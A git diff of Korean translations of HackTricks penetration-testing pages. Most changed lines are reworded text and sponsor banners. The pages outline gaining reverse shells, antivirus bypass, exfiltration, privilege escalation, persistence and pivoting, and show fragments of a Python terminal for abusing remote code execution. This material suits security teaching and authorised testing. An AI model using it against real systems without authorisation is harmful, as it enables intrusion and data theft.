이 시점에서 흥미로운 취약점을 찾지 못했다면 네트워크에 들어가기 위해 **피싱을 시도**해야 할 수도 있습니다. 제 피싱 방법론은 [여기](phishing-methodology/)에서 읽을 수 있습니다.
|
||||
|
||||
### **7-** [**쉘 획득**](shells/)
|
||||
|
||||
어떤 방법으로든 피해자에서 코드를 실행할 수 있어야 합니다. 그런 다음, 피해자 시스템 내에서 **역쉘을 얻기 위해 사용할 수 있는 도구 목록**이 매우 유용할 것입니다.
|
||||
어떤 방법으로든 피해자에서 코드를 실행할 수 있어야 합니다. 그런 다음, 피해자 시스템 내에서 **역쉘을 얻기 위해 사용할 수 있는 도구 목록**이 매우 유용할 것입니다(shells/).
|
||||
|
||||
특히 Windows에서 **안티바이러스를 피하는 데 도움이 필요**할 수 있습니다: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\
|
||||
특히 Windows에서 **안티바이러스를 피하기 위한 도움이 필요**할 수 있습니다: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- 내부
|
||||
|
||||
쉘에 문제가 있다면 펜테스터에게 가장 유용한 명령어의 작은 **모음**을 여기에서 찾을 수 있습니다:
|
||||
쉘에 문제가 있다면 펜테스터에게 가장 유용한 명령어들의 작은 **모음**을 여기에서 찾을 수 있습니다:
|
||||
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands/)
|
||||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
|
@ -90,25 +90,25 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
### **9 -** [**유출**](exfiltration.md)
|
||||
|
||||
피해자로부터 **일부 데이터를 추출**하거나 권한 상승 스크립트와 같은 것을 **소개**해야 할 수도 있습니다. 이러한 목적으로 사용할 수 있는 **일반 도구에 대한 포스트**를 [여기에서 확인하세요](exfiltration.md)**.**
|
||||
피해자로부터 **일부 데이터를 추출**하거나 권한 상승 스크립트와 같은 것을 **소개**해야 할 수도 있습니다. 이러한 목적으로 사용할 수 있는 **일반 도구에 대한 포스트**가 [여기에 있습니다](exfiltration.md)**.**
|
||||
### **10- 권한 상승**
|
||||
|
||||
#### **10.1- 로컬 권한 상승**
|
||||
|
||||
박스 안에서 **루트/Administrator가 아닌 경우** 권한을 **상승시키는 방법을 찾아야** 합니다.\
|
||||
여기서 **Linux**에서 로컬로 권한 상승하는 방법을 찾을 수 있는 **가이드**와 [**Windows**](../windows-hardening/windows-local-privilege-escalation/)에서 권한 상승하는 방법을 찾을 수 있는 **가이드**를 찾을 수 있습니다.\
|
||||
또한 **Windows 작동 방식**에 대해 다음 페이지를 확인해야 합니다:
|
||||
여기서 [**Linux**](../linux-hardening/privilege-escalation/) **및** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한 상승하는 가이드를 찾을 수 있습니다.**\
|
||||
또한 **Windows 작동 방식에 대한** 이 페이지들을 확인해야 합니다:
|
||||
|
||||
* [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* [**NTLM 작동 방식**](../windows-hardening/ntlm/)
|
||||
* Windows에서 [**자격 증명을 탈취하는 방법**](broken-reference/)
|
||||
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)에 대한 몇 가지 요령
|
||||
* Windows에서 [**자격 증명을 탈취하는**](broken-reference/) 방법
|
||||
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)에 관한 몇 가지 요령
|
||||
|
||||
**Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최고의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최상의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- 도메인 권한 상승**
|
||||
|
||||
여기서 [**Active Directory를 열거하고 권한을 상승시키고 지속하는 가장 일반적인 작업을 설명하는 방법론**](../windows-hardening/active-directory-methodology/)을 찾을 수 있습니다. 이것은 섹션의 하위 항목에 불과하더라도, 이 프로세스는 Pentesting/Red Team 과제에서 **매우 민감**할 수 있습니다.
|
||||
여기서 [**Active Directory를 열거하고 권한을 상승시키고 유지하는 가장 일반적인 작업을 설명하는 방법론을 찾을 수 있습니다**](../windows-hardening/active-directory-methodology/). 이것이 섹션의 하위 항목에 불과하더라도, 이 프로세스는 **펜테스팅/레드팀 과제에서 매우 민감**할 수 있습니다.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
|
@ -120,16 +120,16 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
#### 11.2 - 지속성
|
||||
|
||||
**시스템을 다시 공격할 필요가 없도록 2개 또는 3개의 다른 유형의 지속성 메커니즘을 사용하세요.**\
|
||||
여기서 [**Active Directory에서 지속성 요령**](../windows-hardening/active-directory-methodology/#persistence)을 찾을 수 있습니다.
|
||||
**여기서 [**Active Directory에서 지속성 요령**](../windows-hardening/active-directory-methodology/#persistence)**을 찾을 수 있습니다.**
|
||||
|
||||
TODO: Windows 및 Linux에서 지속성 포스트 완성
|
||||
|
||||
### 12 - Pivoting
|
||||
|
||||
**수집된 자격 증명**으로 다른 기기에 액세스할 수도 있고, 혹은 피해자가 연결된 새 네트워크 내에서 새로운 호스트를 **발견하고 스캔해야 할 수도** 있습니다 (Pentesting Methodology를 다시 시작).\
|
||||
**수집된 자격 증명**으로 다른 기기에 액세스할 수도 있고, 혹은 피해자가 연결된 새 네트워크 내에서 새로운 호스트를 **발견하고 스캔해야 할 수도** 있습니다 (펜테스팅 방법론을 다시 시작).\
|
||||
이 경우 터널링이 필요할 수 있습니다. 여기서 [**터널링에 대해 이야기하는 포스트**](tunneling-and-port-forwarding.md)를 찾을 수 있습니다.\
|
||||
반드시 [Active Directory Pentesting Methodology](../windows-hardening/active-directory-methodology/)에 대한 포스트도 확인해야 합니다. 거기에서 측면으로 이동하고 권한을 상승시키며 자격 증명을 덤프하는 멋진 요령을 찾을 수 있습니다.\
|
||||
[**NTLM**](../windows-hardening/ntlm/)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다.
|
||||
반드시 [Active Directory 펜테스팅 방법론에 대한 포스트](../windows-hardening/active-directory-methodology/)도 확인해야 합니다. 거기에서 측면 이동, 권한 상승 및 자격 증명 덤프에 대한 멋진 요령을 찾을 수 있습니다.\
|
||||
[**NTLM에 대한**](../windows-hardening/ntlm/) 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다.
|
||||
|
||||
### 더 보기
|
||||
|
||||
|
@ -149,9 +149,9 @@ TODO: Windows 및 Linux에서 지속성 포스트 완성
|
|||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**패딩 오라클**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
**해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - 우리는 채용 중입니다!** (_구사할 수 있는 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -162,9 +162,9 @@ TODO: Windows 및 Linux에서 지속성 포스트 완성
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 구입하세요
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
|
@ -14,10 +14,10 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -30,10 +30,10 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [**기본 Python 웹 요청 구문**](web-requests.md)
|
||||
* [**기본 Python 구문 및 라이브러리**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -44,7 +44,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
```bash
|
||||
|
@ -39,24 +39,24 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>제로부터 히어로가 되기까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
|
@ -90,7 +90,7 @@ return resp.json()
|
|||
def get_random_string(guid, path):
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
```
|
||||
## 원격 코드 실행(RCE)를 악용하는 Python 명령어
|
||||
## RCE를 악용하는 Python cmd
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
|
@ -117,17 +117,17 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 히어로가 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
|
|
|
@ -6,27 +6,27 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### 브라우저
|
||||
|
||||
언제나 "google" 또는 다른 곳에서 **\<service\_name> \[version] exploit**을 검색하세요.
|
||||
언제나 "google" 또는 다른 곳에서 검색: **\<service\_name> \[version] exploit**
|
||||
|
||||
또한 [https://exploits.shodan.io/](https://exploits.shodan.io)의 **shodan exploit search**를 시도해보세요.
|
||||
또한 [https://exploits.shodan.io/](https://exploits.shodan.io)의 **shodan exploit 검색**을 시도해보세요.
|
||||
|
||||
### Searchsploit
|
||||
|
||||
|
@ -60,24 +60,24 @@ vulners 데이터베이스에서도 검색할 수 있습니다: [https://vulners
|
|||
|
||||
이것은 다른 데이터베이스에서 exploits를 검색합니다: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 히어로가 되기까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **HackTricks에서 귀하의 회사를 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
